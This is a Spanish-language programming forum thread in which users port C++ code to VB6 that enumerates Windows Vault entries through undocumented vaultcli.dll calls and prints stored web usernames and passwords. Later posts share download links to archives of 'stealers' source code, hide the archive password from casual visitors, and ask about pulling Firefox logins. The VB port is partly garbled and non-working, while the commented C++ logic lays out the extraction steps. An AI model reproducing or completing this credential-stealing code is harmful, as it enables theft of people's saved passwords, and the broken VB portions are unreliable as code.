Private Enum VAULT_SCHEMA_ELEMENT_ID
' ElementId_Illegal = 0,
ElementId_Illegal = 0
' ElementId_Resource = 1,
ElementId_Resource = 1
' ElementId_Identity = 2,
ElementId_Identity = 2
' ElementId_Authenticator = 3,
ElementId_Authenticator = 3
' ElementId_Tag = 4,
ElementId_Tag = 4
' ElementId_PackageSid = 5,
ElementId_PackageSid = 5
' ElementId_AppStart = 0x64,
ElementId_AppStart = 100
' ElementId_AppEnd = 0x2710
ElementId_AppEnd = 10000
'};
End Enum
'typedef struct _VAULT_CAUB {
Private Type VAULT_CAUB
' DWORD NumBytes;
NumBytes As Long
'PBYTE pByteArray;
pByteArray() As Byte
'} VAULT_CAUB, *PVAULT_CAUB;--------------------?????????????'
End Type
'
'typedef struct _VAULT_VARIANT {
Private Type VAULT_VARIANT
' VAULT_ELEMENT_TYPE Type;---------------------?????????????'
' DWORD Unknown;
Unknown As Long
' union {
' BOOL Boolean;
' WORD Short;
' WORD UnsignedShort;
' DWORD Int;
' DWORD UnsignedInt;
' double Double;
' GUID Guid;
' LPCWSTR String;
' VAULT_CAUB ByteArray;
' VAULT_CAUB ProtectedArray;
' DWORD Attribute;
' DWORD Sid;
' } vv;
'} VAULT_VARIANT, *PVAULT_VARIANT;
End Type ' ?????????????????????????????????????????????????????
'typedef struct _VAULT_ITEM_ELEMENT {
Private Type VAULT_ITEM_ELEMENT
' VAULT_SCHEMA_ELEMENT_ID SchemaElementId;
SchemaElementId As VAULT_SCHEMA_ELEMENT_ID
' DWORD Unknown;
Unknown As Long
' VAULT_VARIANT ItemValue;
ItemValue As VAULT_VARIANT
'} VAULT_ITEM_ELEMENT, *PVAULT_ITEM_ELEMENT; --------------??????????????
End Type
'
'typedef struct _VAULT_ITEM_W7 {
Private Type VAULT_ITEM_W7
' GUID SchemaId;
SchemaId As Guid '??????????????????????????????????????????????????????
' LPCWSTR pszCredentialFriendlyName;
pszCredentialFriendlyName As LPCWSTR '???????????????????????????????????
' PVAULT_ITEM_ELEMENT pResourceElement;
pResourceElement As VAULT_ITEM_ELEMENT
' PVAULT_ITEM_ELEMENT pIdentityElement;
pIdentityElement As VAULT_ITEM_ELEMENT
' PVAULT_ITEM_ELEMENT pAuthenticatorElement;
pAuthenticatorElement As VAULT_ITEM_ELEMENT
' FILETIME LastModified;
LastModified As FILETIME '?????????????????????????????????????????????????
' DWORD dwFlags;
dwFlags As Long
' DWORD dwPropertiesCount;
dwPropertiesCount As Long
' PVAULT_ITEM_ELEMENT pPropertyElements;
pPropertyElement As VAULT_ITEM_ELEMENT
'} VAULT_ITEM_W7, *PVAULT_ITEM_W7;
End Type
'typedef struct _VAULT_ITEM_W8 {
Private Type VAULT_ITEM_W8
' GUID SchemaId;
SchemaId As Guid '????????????????????????????????????
' LPCWSTR pszCredentialFriendlyName;
pszCredentialFriendlyName As LPCWSTR '?????????????????
' PVAULT_ITEM_ELEMENT pResourceElement;
pResourceElement As VAULT_ITEM_ELEMENT
' PVAULT_ITEM_ELEMENT pIdentityElement;
pIdentityElement As VAULT_ITEM_ELEMENT
' PVAULT_ITEM_ELEMENT pAuthenticatorElement;
pAuthenticatorElement As VAULT_ITEM_ELEMENT
' PVAULT_ITEM_ELEMENT pPackageSid;
pPackageSid As VAULT_ITEM_ELEMENT
' FILETIME LastModified;
LastModified As FILETIME '????????????????????????????
' DWORD dwFlags;
dwFlags As Long
' DWORD dwPropertiesCount;
dwPropertiesCount As Long
' PVAULT_ITEM_ELEMENT pPropertyElements;
pPropertyElements As VAULT_ITEM_ELEMENT
'} VAULT_ITEM_W8, *PVAULT_ITEM_W8;
End Type
'
'typedef struct _VAULT_ITEM {
Private Type VAULT_ITEM
' std::wstring Account;
Account As String
' std::wstring Url;
Url As String
' FILETIME LastModified;
LastModified As FILETIME
' std::wstring UserName;
UserName As String
' std::wstring Password;
Password As String
'} VAULT_ITEM, *PVAULT_ITEM;
End Type
'typedef DWORD (WINAPI *VaultEnumerateVaults)(DWORD dwFlags, PDWORD VaultsCount, GUID **ppVaultGuids);
'typedef DWORD (WINAPI *VaultEnumerateItems)(HVAULT VaultHandle, DWORD dwFlags, PDWORD ItemsCount, PVOID *Items);
'typedef DWORD (WINAPI *VaultOpenVault)(GUID *pVaultId, DWORD dwFlags, HVAULT *pVaultHandle);
'typedef DWORD (WINAPI *VaultCloseVault)(HVAULT VaultHandle);
'typedef DWORD (WINAPI *VaultFree)(PVOID pMemory);
'typedef DWORD (WINAPI *VaultGetItemW7)(HVAULT VaultHandle, GUID *pSchemaId, PVAULT_ITEM_ELEMENT pResource, PVAULT_ITEM_ELEMENT pIdentity, HWND hwndOwner, DWORD dwFlags, PVAULT_ITEM_W7 *ppItem);
'typedef DWORD (WINAPI *VaultGetItemW8)(HVAULT VaultHandle, GUID *pSchemaId, PVAULT_ITEM_ELEMENT pResource, PVAULT_ITEM_ELEMENT pIdentity, PVAULT_ITEM_ELEMENT pPackageSid, HWND hwndOwner, DWORD dwFlags, PVAULT_ITEM_W8 *ppItem);
'
'HMODULE hVaultLib;
'
'VaultEnumerateItems pVaultEnumerateItems;
'VaultFree pVaultFree;
'VaultGetItemW7 pVaultGetItemW7;
'VaultGetItemW8 pVaultGetItemW8;
'VaultOpenVault pVaultOpenVault;
'VaultCloseVault pVaultCloseVault;
'VaultEnumerateVaults pVaultEnumerateVaults;
'
'BOOL InitVault(VOID) {
Private Function InitVault() As Boolean
' BOOL bStatus = FALSE;
Dim bStatus As Boolean
' hVaultLib = LoadLibrary(L"vaultcli.dll");
Dim hVaultLib As Long: hVaultLib = LoadLibraryA("vaultcli.dll")
' if (hVaultLib != NULL) {
If hVaultLib <> 0 Then
' pVaultEnumerateItems = (VaultEnumerateItems)GetProcAddress(hVaultLib, "VaultEnumerateItems");
pVaultEnumerateItems = CallFunc("VaultEnumerateItems")
' pVaultEnumerateVaults = (VaultEnumerateVaults)GetProcAddress(hVaultLib, "VaultEnumerateVaults");
pVaultEnumerateVaults = CallFunc("VaultEnumerateVaults")
' pVaultFree = (VaultFree)GetProcAddress(hVaultLib, "VaultFree");
pVaultFree = CallFunc("VaultFree")
' pVaultGetItemW7 = (VaultGetItemW7)GetProcAddress(hVaultLib, "VaultGetItem");
pVaultGetItemW7 = CallFunc("VaultGetItem")
' pVaultGetItemW8 = (VaultGetItemW8)GetProcAddress(hVaultLib, "VaultGetItem");
pVaultGetItemW8 = CallFunc("VaultGetItem")
' pVaultOpenVault = (VaultOpenVault)GetProcAddress(hVaultLib, "VaultOpenVault");
pVaultOpenVault = CallFunc("VaultOpenVault")
' pVaultCloseVault = (VaultCloseVault)GetProcAddress(hVaultLib, "VaultCloseVault");
pVaultCloseVault = CallFunc("VaultCloseVault")
'
' bStatus = (pVaultEnumerateVaults != NULL)
' && (pVaultFree != NULL)
' && (pVaultGetItemW7 != NULL)
' && (pVaultGetItemW8 != NULL)
' && (pVaultOpenVault != NULL)
' && (pVaultCloseVault != NULL)
' && (pVaultEnumerateItems != NULL);
If pVaultEnumerateVaults <> 0 And _
pVaultFree <> 0 And _
pVaultGetItemW7 <> 0 And _
pVaultGetItemW8 <> 0 And _
pVaultOpenVault <> 0 And _
pVaultCloseVault <> 0 And _
pVaultEnumerateItems <> 0 _
Then bStatus = True
End If
' return bStatus;
InitVault = bStatus
'}
End Function
'BOOL IsOs_Win80rGreater(VOID) {
Private Function IsOs_Win80rGreater() As Boolean
Dim osinfo As OSVERSIONINFO
Dim retvalue As Integer
Dim sOS As String
osinfo.dwOSVersionInfoSize = 148
osinfo.szCSDVersion = Space$(128)
retvalue = GetVersionExA(osinfo)
If osinfo.dwMajorVersion = 8 Then IsOs_Win80rGreater = True
'}
End Function
'BOOL GetItemW7(HVAULT hVault, PVAULT_ITEM_W7 ppItems, DWORD index, VAULT_ITEM &item) {
Private Function GetItemW7(hVault As hVault, ppItems As VAULT_ITEM_W7, index As Long, item As VAULT_ITEM) As Boolean
' DWORD dwError;
Dim dwError As Long
'
' // is this a web credential?
' if (memcmp(&Vault_WebCredential_ID, &ppItems[index].SchemaId, sizeof(GUID)) == 0) {
If 0 = 1 Then '?????????????????????????????????????????????????????????????????????
' item.Account = ppItems[index].pszCredentialFriendlyName;
item.Account = ppItems(index).pszCredentialFriendlyName
' item.Url = ppItems[index].pResourceElement->ItemValue.vv.String;
item.Url = ppItems(index).pResourceElement
' item.UserName = ppItems[index].pIdentityElement->ItemValue.vv.String;
item.UserName = ppItems(index).pIdentityElement
' memcpy(&item.LastModified, &ppItems[index].LastModified, sizeof(FILETIME));
' if (ppItems[index].dwPropertiesCount == 0) {
If ppItems(index).dwPropertiesCount = 0 Then
' PVAULT_ITEM_W7 ppCredentials = NULL;
Dim ppCredentials As VAULT_ITEM_W7
' dwError = pVaultGetItemW7(hVault,
' &ppItems[index].SchemaId, ppItems[index].pResourceElement,
' ppItems[index].pIdentityElement, NULL, 0, &ppCredentials);
dwError = VaultGetItemW7(hVault, ppItems(index).SchemaId, ppItems(index).pResourceElement, _
ppItems(index).pIdentityElement, vbNull, 0, ppCredentials)
' if (dwError == ERROR_SUCCESS) {
If dwError = ERROR_SUCCESS Then
' item.Password = ppCredentials->pAuthenticatorElement->ItemValue.vv.String;
' pVaultFree(ppCredentials);
VaultFree (ppCredentials)
' }
End If
' }
End If
' }
End If
' return dwError == ERROR_SUCCESS;
End Function
'
'BOOL GetItemW8(HVAULT hVault, PVAULT_ITEM_W8 ppItems, DWORD index, VAULT_ITEM &item) {
Private Function GetItemW8(hVault As hVault, ppItems As VAULT_ITEM_W8, index As Long, item As VAULT_ITEM) As Boolean
' DWORD dwError;
Dim dwError As Long
'
' // is this a web credential?
' if (memcmp(&Vault_WebCredential_ID, &ppItems[index].SchemaId, sizeof(GUID)) == 0) {
If 0 = 1 Then ' ?????????????????????????????????????????????????????????????????????
' item.Account = ppItems[index].pszCredentialFriendlyName;
item.Account = ppItems(index).pszCredentialFriendlyName
' item.Url = ppItems[index].pResourceElement->ItemValue.vv.String;
item.Url = ppItems(index).pResourceElement
' item.UserName = ppItems[index].pIdentityElement->ItemValue.vv.String;
item.UserName = ppItems(index).pIdentityElement
' memcpy(&item.LastModified, &ppItems[index].LastModified, sizeof(FILETIME));
' if (ppItems[index].dwPropertiesCount == 0) {
If ppItems(index).dwPropertiesCount = 0 Then
' PVAULT_ITEM_W8 ppCredentials = NULL;
Dim ppCredentials As VAULT_ITEM_W8
' dwError = pVaultGetItemW8(hVault,
' &ppItems[index].SchemaId, ppItems[index].pResourceElement,
' ppItems[index].pIdentityElement, NULL, NULL, 0, &ppCredentials);
dwError = VaultGetItemW8(hVault, ppItems(index).SchemaId, ppItems(index).pResourceElement, _
ppItems(index).pIdentityElement, vbNull, vbNull, 0, ppCredentials)
' if (dwError == ERROR_SUCCESS) {
' item.Password = ppCredentials->pAuthenticatorElement->ItemValue.vv.String;
' pVaultFree(ppCredentials);
' }
' }
' }
' return dwError == ERROR_SUCCESS;
'}
End Function
'
'void ListWebCredentials(void) {
Private Sub ListWebCredentials()
' DWORD dwVaults, dwError;
Dim dwVaults As Long
Dim dwError As Long
' HVAULT hVault;
Dim hVaul As º
' GUID *ppVaultGuids;
' BOOL bWin80rGreater = IsOs_Win80rGreater();
Dim bWin80rGreater As Boolean: bWin80rGreater = IsOs_Win80rGreater
'
' dwError = pVaultEnumerateVaults(NULL, &dwVaults, &ppVaultGuids);
dwError = VaultEnumerateVaults(vbNull, dwVaults, ppVaultGuids)
' if (dwError != ERROR_SUCCESS) {
If dwError <> ERROR_SUCCESS Then
' showError(dwError, L"VaultEnumerateVaults");
Exit Function
' return;
End If
'
' // for each vault found
' for (DWORD i = 0;i < dwVaults;i++) {
' dwError = pVaultOpenVault(&ppVaultGuids[i], 0, &hVault);
' // open it
' if (dwError == ERROR_SUCCESS) {
' PVOID ppItems;
' DWORD dwItems;
'
' // enumerate items
' dwError = pVaultEnumerateItems(hVault, VAULT_ENUMERATE_ALL_ITEMS,
' &dwItems, &ppItems);
'
' if (dwError == ERROR_SUCCESS) {
' // for each item
' for (DWORD j = 0; j < dwItems; j++) {
' VAULT_ITEM item;
' BOOL bResult;
' memset(&item, 0, sizeof(VAULT_ITEM));
'
' if (bWin80rGreater) {
' bResult = GetItemW8(hVault, (PVAULT_ITEM_W8)ppItems, j, item);
' } else {
' bResult = GetItemW7(hVault, (PVAULT_ITEM_W7)ppItems, j, item);
' }
'
' if (bResult) {
' // application
' wprintf(L"\n Account name: %s", item.Account.c_str());
'
' // web address
' wprintf(L"\n Website address (URL): %s", item.Url.c_str());
'
' FILETIME ft, lt;
' SYSTEMTIME st;
' wchar_t modified[MAX_PATH];
'
' FileTimeToLocalFileTime(&item.LastModified, <);
' FileTimeToSystemTime(<, &st);
'
' // last time it was updated
' if (GetDateFormat(LOCALE_SYSTEM_DEFAULT, 0,
' &st, L"MM/dd/yyyy", modified, MAX_PATH)) {
' wprintf(L"\n Last modified: %s", modified);
' }
' wprintf(L"\n User Name: %s", item.UserName.c_str());
' wprintf(L"\n Password: %s\n", item.Password.c_str());
' }
' }
' pVaultFree(ppItems);
' } else {
' showError(dwError, L"VaultEnumerateItems()");
' }
' pVaultCloseVault(hVault);
' } else {
' showError(dwError, L"VaultOpenVault()");
' }
' }
End Sub
'}
'
'VOID ConsoleSetBufferWidth(SHORT X) {
' CONSOLE_SCREEN_BUFFER_INFO csbi;
' GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE), &csbi);
'
' if (X <= csbi.dwSize.X) return;
' csbi.dwSize.X = X;
' SetConsoleScreenBufferSize(GetStdHandle(STD_OUTPUT_HANDLE), csbi.dwSize);
'}
'
'int wmain(void) {
Public Sub Main()
' if (InitVault()) {ListwebCredentials}
If InitVault Then ListWebCredentials
End Sub
Private Function CallFunc(ByVal sFunction As String, ParamArray ParmLongs() As Variant) As Long
Dim i As Long
Dim j As Long
If (StrComp(sLastFunc, sFunction) <> 0) Or bNewDLL Then
nAddr = GetProcAddress(hMod, sFunction)
PutMem4 pCode + PATCH_01, nAddr - pCode - (PATCH_01 + 4)
bNewDLL = False
sLastFunc = sFunction
End If
With pb
j = UBound(ParmLongs)
For i = 0 To j
.Params(i) = ParmLongs(i)
Next i
.ParamCount = i '(j + 1)
End With
CallFunc = z_DO_NOT_CALL(VarPtr(pb)) 'Execute the code buffer passing the address of the parameter block
End Function
Public Function z_DO_NOT_CALL(ByVal nAddrParamBlock As Long) As Long
End Function
GRACIAS POR LEER!!!
-
HOLA!!!
Actualizo, ya traduje mucho mas de la funcion!!!
GRACIAS POR LEER!!!
-
Hola, yo intente varias formas, pero me crashea el vb, no hay documentación sobre esta api, esta solo ese ejemplo que tampoco se si funciona, por lo visto es una dll CDECL pero como dije antes me explota
almenos algo sensillo antes de seguir
Dim ppVaultGuids() As Guid
Dim dwVaults As Long
ReDim ppVaultGuids(20)
cCDECL.DllLoad "vaultcli.dll"
Call cCDECL.CallFunc("VaultEnumerateVaults", 0&, VarPtr(dwVaults), VarPtr(ppVaultGuids(0)))
el tipo Guid esta declarado en el vb, me queda la duda, si se declara en un TLB pueda llegar a safar.
-
Hola veo que en este post han utilizado la DLL sqlite3vb.dll y no la puedo encontrar todas las paginas me vueltean por todos lados.
Alguno la comparte?
Gracias
-
HOLA!!!
http://www.mediafire.com/download/9ddnzufoutl6dhh/SQLite3VB.rar
p.d:Alguien quiere los codigos de los stealers? Cobein los queres ?
GRACIAS POR LEER!!!
-
HOLA!!!
http://www.mediafire.com/download/9ddnzufoutl6dhh/SQLite3VB.rar
p.d:Alguien quiere los codigos de los stealers? Cobein los queres ?
GRACIAS POR LEER!!!
Muchas Gracias!! amigo
a mi me interesan los stealers !
-
HOLA!!!
Los codigos estan aca, Password del rar por privado asi no les damos navajas a los monos que pueden ingresar aca por google. ;)
http://www.mediafire.com/view/6p6a6wg5roo07ow/stealers(3).rar
GRACIAS POR LEER!!!
-
Hi,
This might be an old topic but I was wondering if someone with great knowledge in c++ and vb6 would like to convert a code I've found for listening credentials from Windows Vault. Unlike the code above it doesn't contain the undocumented API VaultEnumerateVaults and its working great.
Thanks
-
Hi,
This might be an old topic but I was wondering if someone with great knowledge in c++ and vb6 would like to convert a code I've found for listening credentials from Windows Vault. Unlike the code above it doesn't contain the undocumented API VaultEnumerateVaults and its working great.
Thanks
Post it and I might do that. Not right now since I'm studying for finals.
-
Me envias el codigo del .rara ? gracias amigo
-
Hi,
Does anyone knows why CallFunc("PK11_GetInternalKeySlot") could not be loaded on Windows 8 and Windows 10 from the code above for Mozilla logins?
It always returns 0 instead of something else.